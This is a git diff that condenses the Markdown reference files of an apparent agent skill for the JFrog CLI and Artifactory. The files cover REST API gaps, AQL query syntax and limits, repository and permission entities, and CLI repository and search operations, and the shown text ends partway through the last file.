`ApplicationVersionArtifact.evidenceSubject` link to the Evidence domain - via `EvidenceSubject.fullPath`. This allows querying evidence attached to - app versions and their artifacts. -- **Stored Packages** — `Releasable.packageVersionLocation` links to - `StoredPackageVersionLocation`, connecting the application model to where - packages physically reside in Artifactory. -- **Release Bundles** — source type `ReleaseBundle` references release bundle - name/version from the Release Lifecycle domain. -- **Builds** — source type `Build` references build-info records from - Artifactory. + `ApplicationVersionArtifact.evidenceSubject` → Evidence domain via + `EvidenceSubject.fullPath`. +- **Stored Packages** — `Releasable.packageVersionLocation` → + `StoredPackageVersionLocation` (physical Artifactory location). +- **Release Bundles** — source type `ReleaseBundle` → Release Lifecycle name/version. +- **Builds** — source type `Build` → Artifactory build-info records. diff --git a/skills/jfrog/references/artifactory-api-gaps.md b/skills/jfrog/references/artifactory-api-gaps.md index 1533d8a..c125cf2 100644 --- a/skills/jfrog/references/artifactory-api-gaps.md +++ b/skills/jfrog/references/artifactory-api-gaps.md @@ -1,9 +1,8 @@ # Artifactory API Gaps -Operations available through REST API but not through CLI commands. -Invoke them via `jf api <path> [flags]` (authentication is handled -automatically against the active `jf config` server; see the base skill's -*Invoking platform APIs with `jf api`* section). +REST operations without CLI commands. Invoke via `jf api <path> [flags]` +(auth automatic against active `jf config` server; see base skill +*Invoking platform APIs with `jf api`*). ## Repository management @@ -11,8 +10,7 @@ automatically against the active `jf config` server; see the base skill's ```bash jf api /artifactory/api/repositories/<repo-key> ``` -Returns the full JSON configuration of a repository. Useful as a template -for creating similar repos. +Full JSON repo config. Useful as template for similar repos. ### List all repositories ```bash @@ -89,7 +87,7 @@ jf api /artifactory/api/search/aql \ -d 'items.find({"repo":"my-repo","name":{"$match":"*.jar"}})' ``` -For remote repository content, query the `-cache` suffixed repo: +Remote repo content — query `-cache` suffixed repo: ```bash jf api /artifactory/api/search/aql \ -X POST -H "Content-Type: text/plain" \ @@ -113,8 +111,8 @@ jf api "/artifactory/api/search/gavc?g=com.example&a=mylib&v=1.0" ## User and group management -User and group operations are handled by the Access service. See -`platform-admin-api-gaps.md` (Users / Groups sections) for the full set. +User/group operations via Access service. See +`platform-admin-api-gaps.md` (Users / Groups sections). ## Metadata calculation @@ -172,10 +170,9 @@ jf api "/artifactory/api/federation/fullSyncAll/<repo-key>" -X POST ### List builds (prefer scoped queries) -**Unscoped** `GET /artifactory/api/build` (no query parameters) can **time -out** on busy instances. Prefer **project-scoped** or **repo-scoped** -listing, then detail GETs. Full flow: read `artifactory-operations.md` -§ *Listing builds when the project key is known*. +**Unscoped** `GET /artifactory/api/build` can **time out** on busy instances. +Prefer project- or repo-scoped listing + detail GETs. Flow: `artifactory-operations.md` +§ *Listing build names*. ```bash # Project scope — build names (latest per name) diff --git a/skills/jfrog/references/artifactory-aql-syntax.md b/skills/jfrog/references/artifactory-aql-syntax.md index b120275..12ca2bf 100644 --- a/skills/jfrog/references/artifactory-aql-syntax.md +++ b/skills/jfrog/references/artifactory-aql-syntax.md @@ -18,14 +18,14 @@ jf api /artifactory/api/search/aql \ .distinct(<boolean>) ``` -Only `.find()` is required. The others are optional and chainable. -**The chain order above is enforced by the server.** `.include()` must come -before `.sort()`, `.sort()` before `.offset()`, etc. Putting them out of -order (e.g. `.sort()` before `.include()`) produces a parse error. +Only `.find()` is required; others optional and chainable. +**Server enforces the chain order above.** `.include()` before `.sort()`, +`.sort()` before `.offset()`, etc. Out of order (e.g. `.sort()` before +`.include()`) → parse error. -**Mandatory include fields:** `items` requires `"repo","path","name"`; -`builds` requires `"name","number","repo"`. Always include these even when -you only need a subset — narrow results with `jq` post-query instead: +**Mandatory include fields:** `items` → `"repo","path","name"`; `builds` → +`"name","number","repo"`. Always include these even when you need a subset — +narrow with `jq` post-query: ``` items.find({"name":"commons-lang3-3.12.0.jar"}) @@ -35,9 +35,7 @@ items.find({"name":"commons-lang3-3.12.0.jar"}) ## Domains -AQL has 13 queryable domains. Each domain represents a different entity type -and has its own set of fields. - +13 queryable domains — each entity type has its own fields. | Domain | Query name | Description | | -------------------- | ------------------- | ---------------------------------------------- | @@ -55,12 +53,10 @@ and has its own set of fields. | Release bundles | `releases` | Release bundle records | | Release bundle files | `release_artifacts` | Files within a release bundle | - ## Domain relationships -Domains connect through the following join paths. Cross-domain queries -traverse these links — fields from related domains can appear in criteria -and include clauses by prefixing the domain path. +Join paths below. Cross-domain queries traverse these links — related-domain +fields in criteria/includes use a prefixed domain path. ```mermaid erDiagram @@ -79,15 +75,12 @@ erDiagram release_artifacts }o--|| releases : "belongs to" ``` - - -**Key:** Items connect to build artifacts and dependencies through SHA-1 -checksum matching, not a direct key. This means a cross-domain query from -items to builds traverses: items → artifacts → modules → builds. +**Key:** Items ↔ build artifacts/dependencies via SHA-1 checksum match (not +a direct key). Path items → builds: items → artifacts → modules → builds. ### Cross-domain field paths -To reference a field from a related domain, use dot-separated domain paths: +Related-domain field → dot-separated domain path: ``` items.find({"artifact.module.build.name":"my-build"}) @@ -108,12 +101,11 @@ From builds: ## Fields by domain -Field types: `string`, `date`, `int`, `long`, `itemType` (`file`, `folder`, -or `any`). Fields marked "default" are returned without explicit `.include()`. +Types: `string`, `date`, `int`, `long`, `itemType` (`file`, `folder`, `any`). +"Default" = returned without explicit `.include()`. ### items - | Field | Type | Default | | --------------- | -------- | ------- | | `repo` | string | yes | @@ -133,23 +125,19 @@ or `any`). Fields marked "default" are returned without explicit `.include()`. | `original_md5` | string | no | | `original_sha1` | string | no | - -Computed field: `virtual_repos` — returns virtual repositories that include -the item's actual repository. Must use `.include("virtual_repos")` explicitly; -requires `repo`, `path`, `name` in the result set. +Computed: `virtual_repos` — virtual repos that include the item's actual +repo. Requires `.include("virtual_repos")` plus `repo`,`path`,`name` in +the result set. ### properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### stats - | Field | Type | Default | | ---------------------- | ------ | ------- | | `downloads` | int | yes | @@ -161,20 +149,16 @@ requires `repo`, `path`, `name` in the result set. | `remote_origin` | string | yes | | `remote_path` | string | yes | - ### item.infos - | Field | Type | Default | | ------------------- | ------ | ------- | | `props_modified` | date | yes | | `props_modified_by` | string | yes | | `props_md5` | string | yes | - ### builds - | Field | Type | Default | | ------------- | ------ | ------- | | `url` | string | yes | @@ -187,18 +171,14 @@ requires `repo`, `path`, `name` in the result set. | `modified_by` | string | yes | | `repo` | string | no | - ### modules - | Field | Type | Default | | ------ | ------ | ------- | | `name` | string | yes | - ### artifacts - | Field | Type | Default | | ------ | ------ | ------- | | `name` | string | yes | @@ -206,10 +186,8 @@ requires `repo`, `path`, `name` in the result set. | `sha1` | string | yes | | `md5` | string | yes | - ### dependencies - | Field | Type | Default | | ------- | ------ | ------- | | `name` | string | yes | @@ -218,19 +196,15 @@ requires `repo`, `path`, `name` in the result set. | `sha1` | string | yes | | `md5` | string | yes | - ### build.properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### build.promotions - | Field | Type | Default | | ------------ | ------ | ------- | | `created` | date | yes | @@ -240,19 +214,15 @@ requires `repo`, `path`, `name` in the result set. | `comment` | string | yes | | `user` | string | yes | - ### module.properties - | Field | Type | Default | | ------- | ------ | ------- | | `key` | string | yes | | `value` | string | yes | - ### releases - | Field | Type | Default | | -------------- | --------------------------- | ------- | | `name` | string | yes | @@ -263,18 +233,14 @@ requires `repo`, `path`, `name` in the result set. | `type` | string (`SOURCE`, `TARGET`) | yes | | `storing_repo` | string | yes | - ### release_artifacts - | Field | Type | Default | | ------ | ------ | ------- | | `path` | string | yes | - ## Comparators - | Operator | Meaning | Example | | ---------- | -------------------------------- | ------------------------------------ | | `$eq` | Equals (default if omitted) | `{"type":"file"}` | @@ -288,16 +254,13 @@ requires `repo`, `path`, `name` in the result set. | `$lt` | Less than | `{"size":{"$lt":"5000"}}` | | `$lte` | Less than or equal | `{"modified":{"$lte":"2025-01-01"}}` | - ### Boolean operators - | Operator | Description | | -------- | ---------------------------------------------------------------------- | | `$and` | All conditions must match (implicit when fields are at the same level) | | `$or` | Any condition must match | - ``` items.find({"$and":[ {"repo":"my-repo"}, @@ -310,22 +273,18 @@ items.find({"$and":[ ### Relative date comparators -AQL supports relative date queries with `$last` and `$before`: - +`$last` / `$before` for relative dates: | Operator | Meaning | Example | | --------- | ------------------------------------------------------- | ------------------------------- | | `$last` | Within the last N period (equivalent to `$gt` from now) | `{"modified":{"$last":"7d"}}` | | `$before` | Before the last N period (equivalent to `$lt` from now) | `{"created":{"$before":"3mo"}}` | - -Supported units: `d` (days), `w` (weeks), `mo` (months), `y` (years), -`s` (seconds), `mi` (minutes), `ms` (milliseconds). +Units: `d`, `w`, `mo`, `y`, `s`, `mi`, `ms`. ### Multi-property AND -To match items that have property A=1 **and** property B=2 (different -property rows), use `$and` with `@` shorthand: +Match property A=1 **and** B=2 (different property rows) with `$and` + `@`: ``` items.find({"$and":[ @@ -334,20 +293,18 @@ items.find({"$and":[ ]}) ``` -AQL also documents a `$msp` (multi-set property) operator for this purpose, -but `$msp` is **unreliable in practice** — it returns 0 results on many -server versions even when matching items exist. Prefer `$and` with `@` -shorthand, which is verified to work correctly. +`$msp` (multi-set property) is **unreliable in practice** — often 0 results +even when matches exist. Prefer `$and` + `@` (verified). ## Date queries -Dates use ISO 8601 format for absolute dates: +Absolute dates → ISO 8601: ``` items.find({"modified":{"$gt":"2025-06-01T00:00:00.000Z"}}) ``` -Or use relative dates (preferred — avoids hardcoding timestamps): +Or relative dates (preferred — no hardcoded timestamps): ``` items.find({"modified":{"$last":"30d"}}) @@ -356,9 +313,9 @@ items.find({"created":{"$before":"6mo"}}) ## Property queries -Two equivalent syntaxes for property filtering: +Two equivalent property-filter syntaxes: -**`@key` shorthand** — concise, works for single property conditions: +**`@key` shorthand** — concise, single property conditions: ``` items.find({"repo":"my-repo","@build.name":"my-build","type":"file"}) @@ -374,15 +331,8 @@ items.find({ }) ``` -**Multi-property AND** — use `$and` with `@` shorthand to match across -different property rows: - -``` -items.find({"$and":[ - {"@build.name":"my-build"}, - {"@build.number":"42"} -]}) -``` +**Multi-property AND** — same `$and` + `@` pattern as +[Multi-property AND](#multi-property-and) above (do not re-copy here). > **Note:** The `@key` shorthand works inside `$and`. For `$or`, use the > explicit `property.key`/`property.value` form if the shorthand does not @@ -390,15 +340,12 @@ items.find({"$and":[ ## Include -Select which fields to return. Without `.include()`, AQL returns each -domain's default field set. +Fields to return. No `.include()` → domain defaults. -**When you use `.include()`, you replace the defaults — so you must -explicitly list any required fields:** +**`.include()` replaces defaults — list every required field:** -- `items` domain: always include `"repo","path","name"` (server rejects -the query otherwise) -- `builds` domain: always include `"name","number","repo"` +- `items`: always `"repo","path","name"` (else server rejects) +- `builds`: always `"name","number","repo"` ``` items.find({"repo":"my-repo"}) @@ -421,14 +368,14 @@ items.find({"repo":"my-repo"}) .limit(50) ``` -Sort directions: `$asc`, `$desc`. Sort fields must also appear in the result -set (explicit `.include()` or default fields). See +Sort: `$asc` / `$desc`. Sort fields must appear in the result set +(explicit `.include()` or defaults). See [Before constructing a query](#before-constructing-a-query) for sort performance rules. ## Distinct -Deduplicate result rows: +Deduplicate rows: ``` items.find({"repo":"my-repo"}).distinct(true) @@ -436,41 +383,37 @@ items.find({"repo":"my-repo"}).distinct(true) ## Validation rules -The server enforces these constraints — violating them produces an error: +Server constraints — violations → error: -**Non-admin users:** +**Non-admin:** -- `items` domain queries must include `repo`, `path`, `name` in results -(needed for permission filtering) -- `builds` domain queries must include `name`, `number`, `repo` in results +- `items` results must include `repo`, `path`, `name` (permission filtering) +- `builds` results must include `name`, `number`, `repo` -**Transitive mode** (`.transitive()` for querying through virtual repos): +**Transitive** (`.transitive()` through virtual repos): -- Only works with `items` domain +- `items` domain only - Include subdomains limited to `items` and `properties` -- Repo criteria must use `$eq` (exact match) with a single repository -- No `offset` or `sort` allowed +- Repo criteria: `$eq` only, single repository +- No `offset` or `sort` ## Before constructing a query -Run through these checks before writing any AQL query: - -1. **Never `.sort()` without a `repo` filter** — forces a full table scan - across all repositories. Sort client-side with `jq` instead. Also, - `.sort()` on cross-domain fields (e.g. `stat.downloads` in `items.find()`) - is silently ignored — fetch all rows and sort client-side. -2. **Always set `.limit()`** — no built-in default limit; unbounded queries - can time out or OOM. Broad queries without a `repo` filter are especially - expensive. -3. **`range.total` = returned count, not total matching** — AQL has no - count-only mode. To find the true total, paginate with `.offset()` until - a page returns fewer results than the limit. -4. **AQL has no repo-type field** — to restrict to local repos, either - pre-query `GET /api/repositories?type=local` and add repo names to - criteria (practical when count is small), or query without a repo filter - and exclude `-cache` / `-virtual` suffixed repos client-side with `jq`. +Checks before writing AQL: + +1. **Never `.sort()` without a `repo` filter** — full table scan. Sort + client-side with `jq`. Cross-domain sort fields (e.g. `stat.downloads` in + `items.find()`) are silently ignored — fetch all + sort client-side. +2. **Always `.limit()`** — no default; unbounded queries can time out / OOM. + Broad queries without `repo` are especially expensive. +3. **`range.total` = returned count, not total matching** — no count-only + mode. True total → paginate `.offset()` until a page returns fewer than + the limit. +4. **No repo-type field** — local-only: pre-query + `GET /api/repositories?type=local` and add names to criteria (small lists), + or query without repo filter and drop `-cache`/`-virtual` via `jq`. 5. **Narrow server-side first** — add every applicable filter (`created_by`, - `created`, `type`, `name`) before relying on client-side `jq` filtering. + `created`, `type`, `name`) before client-side `jq`. ## Common query patterns @@ -488,8 +431,8 @@ items.find({"repo":"my-repo","size":{"$gt":"104857600"},"type":"file"}) ### Find Maven SNAPSHOT JARs -Use `*-SNAPSHOT*.jar` (not `*-SNAPSHOT.jar`) to also match classifier -artifacts like `-sources.jar` and `-javadoc.jar`: +Use `*-SNAPSHOT*.jar` (not `*-SNAPSHOT.jar`) to also match classifiers +(`-sources.jar`, `-javadoc.jar`): ``` items.find({"repo":"libs-snapshot","name":{"$match":"*-SNAPSHOT*.jar"},"type":"file"}) @@ -505,9 +448,9 @@ items.find({"repo":"my-repo","modified":{"$last":"7d"},"type":"file"}) ### Docker queries -Use `"name":"manifest.json"` to **list tags** (one per tag). Use -`"name":{"$match":"*manifest.json"}` to **query all manifests** (includes -`list.manifest.json` for multi-arch tags — see [Gotchas](#gotchas)). +`"name":"manifest.json"` → **list tags** (one per tag). +`"name":{"$match":"*manifest.json"}` → **all manifests** (includes +`list.manifest.json` for multi-arch — see [Gotchas](#gotchas)). ``` items.find({"repo":"docker-local","path":{"$match":"my-image/*"},"name":"manifest.json"}) @@ -523,18 +466,16 @@ jf api "/artifactory/api/docker/<repo>/v2/<image>/manifests/<tag>" \ -H "Accept: application/vnd.docker.distribution.manifest.v2+json" ``` -For multi-arch images the response is an image index; fetch each platform -manifest by digest to get its layers. +For multi-arch: response is an image index — fetch each platform manifest +by digest for layers. ### Find artifacts with a specific property -``` -items.find({"repo":"my-repo","@build.name":"my-build","type":"file"}) -``` +See [Property queries](#property-queries) (`@key` shorthand and explicit form). ### Find never-downloaded files (zero download count) -Zero-download items lack a stats row — filter client-side instead +Zero-download items lack a stats row — filter client-side (see [Gotchas](#gotchas)): ```bash @@ -547,8 +488,8 @@ items.find({"repo":"my-repo","type":"file"}) ### Find artifacts not downloaded in 90 days -Only matches previously-downloaded items (see [Gotchas](#gotchas)). -Combine with the never-downloaded pattern above for full coverage. +Only previously-downloaded items (see [Gotchas](#gotchas)). Combine with +never-downloaded pattern above for full coverage. ``` items.find({ @@ -569,8 +510,7 @@ items.find({"artifact.module.build.name":"my-service"}) ### Find builds by name -Non-admin users must include `name`, `number`, `repo` — omitting any -produces an error. +Non-admin must include `name`, `number`, `repo` — omit any → error. ``` builds.find({"name":{"$match":"*my-service*"}}) @@ -595,8 +535,8 @@ dependencies.find({"module.build.name":"my-service","module.build.number":"42"}) ### Remote repository content -Remote repo artifacts are stored in a `-cache` suffixed repo. Always query -the cache repo, not the remote repo itself: +Remote artifacts live in a `-cache` suffixed repo. Query the cache, not the +remote itself: ``` items.find({"repo":"npm-remote-cache","name":{"$match":"*.tgz"}}) @@ -644,13 +584,13 @@ repo name you queried. ## Official documentation -- [Artifactory Query Language](https://docs.jfrog.com/artifactory/docs/artifactory-query-language) — overview and architecture -- [Query Structure and Syntax](https://docs.jfrog.com/artifactory/docs/aql-syntax) — domain queries, field references, JSON-like syntax rules -- [Search Criteria and Operators](https://docs.jfrog.com/artifactory/docs/aql-search-criteria) — comparators, wildcards, `$msp`, relative time -- [AQL Entities and Fields Reference](https://docs.jfrog.com/artifactory/docs/aql-entities-fields-reference) — complete field list for all domains -- [Query Output and Modifiers](https://docs.jfrog.com/artifactory/docs/aql-query-output) — `.include()`, `.sort()`, `.offset()`, `.limit()`, `.distinct()` -- [Query Execution and Permissions](https://docs.jfrog.com/artifactory/docs/aql-query-execution) — authentication, scoped tokens, HTTP errors, streaming -- [AQL Examples and Common Patterns](https://docs.jfrog.com/artifactory/docs/aql-examples) — ready-to-use queries by use case -- [Repository-Specific Queries](https://docs.jfrog.com/artifactory/docs/aql-repository-queries) — `.transitive()`, virtual repos, remote search -- [Performance and Operational Controls](https://docs.jfrog.com/artifactory/docs/aql-performance) — result limits, timeouts, rate limiting, optimization +- https://docs.jfrog.com/artifactory/docs/artifactory-query-language +- https://docs.jfrog.com/artifactory/docs/aql-syntax +- https://docs.jfrog.com/artifactory/docs/aql-search-criteria +- https://docs.jfrog.com/artifactory/docs/aql-entities-fields-reference +- https://docs.jfrog.com/artifactory/docs/aql-query-output +- https://docs.jfrog.com/artifactory/docs/aql-query-execution +- https://docs.jfrog.com/artifactory/docs/aql-examples +- https://docs.jfrog.com/artifactory/docs/aql-repository-queries +- https://docs.jfrog.com/artifactory/docs/aql-performance diff --git a/skills/jfrog/references/artifactory-entities.md b/skills/jfrog/references/artifactory-entities.md index 1e4d950..59e650b 100644 --- a/skills/jfrog/references/artifactory-entities.md +++ b/skills/jfrog/references/artifactory-entities.md @@ -2,44 +2,39 @@ When to read this file: -- Working with **repositories** and you need to understand the difference between local, remote, virtual, and federated types. +- Working with **repositories** — need local/remote/virtual/federated type differences. - Managing **artifacts**, **properties**, or **package types**. - Working with **builds**, **build promotion**, or **permission targets**. -- Debugging unexpected behavior related to repo types (e.g. upload failures, missing search results). +- Debugging repo-type issues (e.g. upload failures, missing search results). -For CLI commands see `artifactory-operations.md`. For API gaps see -`artifactory-api-gaps.md`. For AQL syntax see `artifactory-aql-syntax.md`. +CLI: `artifactory-operations.md`. API gaps: `artifactory-api-gaps.md`. AQL: `artifactory-aql-syntax.md`. ## Repositories -A repository is the primary storage and resolution unit in Artifactory. Every -repo has a **key** (unique identifier), a **package type** (immutable after -creation), and a **repository class** (`rclass`) that determines its behavior. +Repository = primary storage/resolution unit in Artifactory. Each repo has **key** (unique id), **package type** (immutable after creation), **repository class** (`rclass`) determining behavior. ### Repository types | Type | `rclass` | Behavior | Stores artifacts? | |------|----------|----------|-------------------| | **Local** | `local` | Hosts artifacts deployed directly (upload, promote, copy, move) | Yes | -| **Remote** | `remote` | Proxies an external URL; downloads are cached in a companion `-cache` repo | Only in the `-cache` repo | -| **Virtual** | `virtual` | Aggregates multiple local and remote repos under a single URL for resolution | No (resolves from underlying repos) | -| **Federated** | `federated` | Local repo that bi-directionally synchronizes across Platform Deployments | Yes (replicated across sites) | +| **Remote** | `remote` | Proxies external URL; downloads cached in companion `-cache` repo | Only in `-cache` repo | +| **Virtual** | `virtual` | Aggregates local + remote repos under single URL for resolution | No (resolves from underlying repos) | +| **Federated** | `federated` | Local repo bi-directionally syncs across Platform Deployments | Yes (replicated across sites) | ### Key relationships and fields - `key` — unique repo identifier (e.g. `libs-release-local`) -- `packageType` — determines layout and protocol (see Package types below) +- `packageType` — layout + protocol (see Package types below) - `rclass` — `local`, `remote`, `virtual`, or `federated` -- `url` — (remote only) the external source URL being proxied +- `url` — (remote only) external source URL being proxied - `repositories` — (virtual only) ordered list of local/remote repos to aggregate -- `projectKey` — links repo to a JFrog Project (see `platform-access-entities.md`) -- `environments` — environments the repo is assigned to (used in RBAC and lifecycle) +- `projectKey` — links repo to JFrog Project (see `platform-access-entities.md`) +- `environments` — repo environment assignment (RBAC + lifecycle) ### System repositories -Artifactory and Xray maintain several **system repositories** for internal -platform metadata. These are not user-created and should be excluded when -iterating over repositories for reporting, scanning, or auditing: +Artifactory + Xray maintain **system repositories** for internal platform metadata. Not user-created — exclude when iterating repos for reporting, scanning, or auditing: | Pattern | Purpose | |---------|---------| @@ -51,34 +46,23 @@ iterating over repositories for reporting, scanning, or auditing: | `*-build-info` | Project-scoped build info storage | | `*-application-versions` | AppTrust application version metadata | -Including these in aggregate queries (violation counts, storage reports, etc.) -produces misleading results because they contain platform metadata rather than -user artifacts. +Including these in aggregate queries (violation counts, storage reports, etc.) produces misleading results — platform metadata, not user artifacts. ### Remote repository cache -When Artifactory downloads an artifact through a remote repo, it stores the -cached copy in a **separate local repo** named `<remote-key>-cache`. This is -critical for: +When Artifactory downloads via remote repo, cached copy stored in **separate local repo** named `<remote-key>-cache`. Critical for: -- **AQL queries** — search the `-cache` repo, not the remote repo key -- **Properties** — properties on cached artifacts live on the `-cache` repo -- **Storage calculations** — cached artifacts consume storage under the `-cache` repo +- **AQL queries** — search `-cache` repo, not remote repo key +- **Properties** — cached artifact properties live on `-cache` repo +- **Storage calculations** — cached artifacts consume storage under `-cache` repo -The remote repo key itself is used for **configuration** (URL, credentials, -inclusion/exclusion patterns) but does not directly contain artifacts. +Remote repo key used for **configuration** (URL, credentials, inclusion/exclusion patterns) — does not directly contain artifacts. ### Virtual repository resolution -A virtual repo aggregates **both local and remote repos** under a single URL. -It resolves artifacts by searching its underlying repos in the configured -**order** — when the same artifact exists in multiple underlying repos, the -first match wins. +Virtual repo aggregates **local + remote repos** under single URL. Resolves by searching underlying repos in configured **order** — same artifact in multiple repos → first match wins. -A virtual repo may designate one of its underlying **local** repos as the -**default deployment repository**. Uploads through the virtual URL are routed -to that local repo. Without a default deployment repo, the virtual repo is -read-only. +Virtual repo may designate underlying **local** repo as **default deployment repository**. Uploads through virtual URL routed there. Without default deployment repo → read-only. ```mermaid erDiagram @@ -90,65 +74,56 @@ erDiagram ## Artifacts -An artifact is a file stored in a repository. Each artifact is uniquely -identified by the triple **repo + path + name**. +Artifact = file in repository. Uniquely identified by **repo + path + name**. Key attributes: - `repo`, `path`, `name` — location identifier - `size` — bytes -- `sha256`, `sha1`, `md5` — checksums (sha256 is the primary identifier for cross-referencing with builds and Xray) +- `sha256`, `sha1`, `md5` — checksums (build-info records all three; Xray cross-references by sha256, AQL item↔build joins by sha1) - `created`, `modified`, `created_by`, `modified_by` — audit fields -Artifacts are **content-addressable** — build info and Xray reference them by -checksum, not by path. Moving or copying an artifact changes its path but not -its checksum, so build associations follow the artifact. +Artifacts are **content-addressable** — build info + Xray reference by checksum, not path. Move/copy changes path, not checksum → build associations follow artifact. ## Properties -Key-value metadata pairs attached to artifacts or folders. +Key-value metadata on artifacts or folders. -- Keys are strings; values are strings or arrays of strings -- Set via `jf rt set-props`, queried via AQL or the properties API -- Commonly used for: build metadata, maturity labels, promotion tracking, cleanup policies -- Properties on remote-cached artifacts live on the `-cache` repo +- Keys = strings; values = strings or string arrays +- Set via `jf rt set-props`, query via AQL or properties API +- Common uses: build metadata, maturity labels, promotion tracking, cleanup policies +- Remote-cached artifact properties live on `-cache` repo ## Package types -The `packageType` field on a repository determines how Artifactory interprets -its contents. It controls directory structure conventions, metadata extraction, -and which client protocols are supported (e.g. Docker registry API, npm -registry, Maven layout). +`packageType` on repo determines how Artifactory interprets contents — directory layout, metadata extraction, client protocols (Docker registry API, npm registry, Maven layout). Common types: `maven`, `gradle`, `npm`, `docker`, `pypi`, `nuget`, `go`, `helm`, `rpm`, `debian`, `generic`. -Package type is **immutable** — it cannot be changed after repo creation. Use -`generic` when no specific package type applies. +Package type **immutable** — cannot change after repo creation. Use `generic` when no specific type applies. ## Build info -A build info record captures CI/CD metadata: which artifacts were produced, -which dependencies were consumed, and the build environment. +Build info record captures CI/CD metadata: produced artifacts, consumed dependencies, build environment. | Field | Description | |-------|-------------| -| `name` + `number` | Unique identifier for a build run | -| `modules` | List of modules, each with its own artifacts and dependencies | -| `vcs` | Version control metadata (revision, URL, branch) | +| `name` + `number` | Unique build run identifier | +| `modules` | Modules, each with artifacts + dependencies | +| `vcs` | VCS metadata (revision, URL, branch) | | `buildAgent`, `agent` | CI tool info | | `properties` | Custom build-level properties | -Build info references artifacts **by checksum** (sha256). This means: -- A build can reference artifacts across multiple repositories -- Moving an artifact does not break the build association -- Xray scans build info by resolving checksums to components +Build info references artifacts **by checksum** (AQL item↔build joins by sha1; Xray cross-references by sha256): +- Build can reference artifacts across multiple repos +- Moving artifact does not break build association +- Xray scans build info by resolving checksums → components Lifecycle: collect → publish → (optionally) promote → (optionally) scan. ## Build promotion -Promotion changes a build's **status** and can copy or move its artifacts -from a source repo to a target repo. +Promotion changes build **status**; can copy/move artifacts from source repo → target repo. | Field | Description | |-------|-------------| @@ -157,18 +132,15 @@ from a source repo to a target repo. | `targetRepo` | Where artifacts should be moved/copied | | `copy` | If `true`, copy instead of move | -Promotion records are queryable via AQL (`build.promotions` domain) and the -build promotion API. +Promotion records queryable via AQL (`build.promotions` domain) + build promotion API. ## Permissions -Permissions define RBAC policies mapping **resources** and **principals** -(users and groups) to **actions**. Two models exist: +Permissions = RBAC policies mapping **resources** + **principals** (users, groups) → **actions**. Two models: ### Permissions V2 (Access Permissions) — current model -Managed by the **Access service** (since Artifactory 7.72.0, recommended from -7.77.2). Supports all resource types. +**Access service** (since 7.72.0, recommended 7.77.2+). All resource types. | Component | Description | |-----------|-------------| @@ -179,11 +151,11 @@ Resource types: `artifact` (repositories), `build`, `release_bundle`, `destination` (Edge nodes), `pipeline_source`. Each resource contains: -- `targets` — map of target names/patterns to include/exclude patterns -- `actions.users` — map of username → list of actions -- `actions.groups` — map of group name → list of actions +- `targets` — target names/patterns → include/exclude patterns +- `actions.users` — username → action list +- `actions.groups` — group name → action list -Actions use uppercase: `READ`, `ANNOTATE`, `DEPLOY/CACHE`, `DELETE/OVERWRITE`, +Actions uppercase: `READ`, `ANNOTATE`, `DEPLOY/CACHE`, `DELETE/OVERWRITE`, `MANAGE_XRAY_METADATA`, `MANAGE`. API: `POST/PUT/GET/DELETE /access/api/v2/permissions/{permissionName}`. @@ -192,17 +164,15 @@ Documentation: [Permissions](https://docs.jfrog.com/administration/docs/permissi ### Permission targets (V1) — legacy model -Managed by **Artifactory**. Still functional and backwards compatible, but -V2 is recommended for new implementations. The CLI `jf rt permission-target-*` -commands use this API. +**Artifactory**-managed. Functional + backwards compatible; prefer V2 for new work. CLI: `jf rt permission-target-*`. | Component | Description | |-----------|-------------| -| `repositories` | List of repo keys or patterns | -| `actions.users` | Map of username → list of actions | -| `actions.groups` | Map of group name → list of actions | +| `repositories` | Repo keys or patterns | +| `actions.users` | Username → action list | +| `actions.groups` | Group name → action list | -Actions use lowercase: `read`, `write`, `annotate`, `delete`, `manage`. +Actions lowercase: `read`, `write`, `annotate`, `delete`, `manage`. Does **not** support `destination` or `pipeline_source` resource types. @@ -219,18 +189,15 @@ API: `PUT /artifactory/api/security/permissions/{permissionName}`. | Pattern fields | `includes_pattern` / `excludes_pattern` | `include_patterns` / `exclude_patterns` | | CLI support | `jf rt permission-target-*` | No direct CLI commands (use REST) | -For project-scoped RBAC, see Project roles in `platform-access-entities.md`. +Project-scoped RBAC: see Project roles in `platform-access-entities.md`. ## Replication -Replication synchronizes artifacts and properties between repositories, either -within the same instance or across Platform Deployments. +Replication syncs artifacts + properties between repos — same instance or across Platform Deployments. | Type | Direction | Trigger | |------|-----------|---------| -| **Push** | Source pushes to target | Scheduled or event-based | -| **Pull** | Target pulls from source | Scheduled | +| **Push** | Source → target | Scheduled or event-based | +| **Pull** | Target ← source | Scheduled | -Replication configs are JSON templates applied per repository. Both artifact -content and properties are replicated. For federated repos, replication is -automatic and bi-directional across all member nodes. +Replication configs = JSON templates per repository. Both artifact content + properties replicated. Federated repos → automatic bi-directional replication across member nodes. diff --git a/skills/jfrog/references/artifactory-operations.md b/skills/jfrog/references/artifactory-operations.md index bab2b65..771584b 100644 --- a/skills/jfrog/references/artifactory-operations.md +++ b/skills/jfrog/references/artifactory-operations.md @@ -1,22 +1,20 @@ # Artifactory Operations -CLI commands for managing Artifactory resources. All commands use the `jf rt` -namespace. Run `jf rt --help` to discover subcommands not listed here. +CLI for Artifactory resources — `jf rt` namespace. Run `jf rt --help` for subcommands not listed here. ## Repository management -Repositories are created from JSON templates. The workflow is: +Repos from JSON templates: -1. Get a template: retrieve an existing repo config via +1. Get template: existing config via `jf api /artifactory/api/repositories/<repo-key>` - and modify it, or craft JSON manually. + and modify, or craft JSON manually. Note: `jf rt repo-template` is interactive and cannot be used by agents. 2. Create: `jf rt repo-create <template.json>` 3. Update: `jf rt repo-update <template.json>` 4. Delete: `jf rt repo-delete <repo-pattern> --quiet` -To list repositories, use: -`jf api /artifactory/api/repositories` +List: `jf api /artifactory/api/repositories` ## File operations @@ -31,12 +29,12 @@ To list repositories, use: ### Searching across repositories -`jf rt search` expects a `<repo>/<pattern>` argument. When the repo is unknown, -agents tend to use a leading wildcard (`jf rt search "*/path/..."`), which -generates an unscoped AQL internally and can time out on large instances. +`jf rt search` expects `<repo>/<pattern>`. When repo unknown, agents often use +leading wildcard (`jf rt search "*/path/..."`) → unscoped AQL internally → +timeouts on large instances. -Use a direct AQL query with `name` and `path` criteria instead — omitting the -`repo` field searches all accessible repos via indexed columns: +Use direct AQL with `name` and `path` — omitting `repo` searches all accessible +repos via indexed columns: ```bash jf api /artifactory/api/search/aql \ @@ -47,21 +45,16 @@ jf api /artifactory/api/search/aql \ 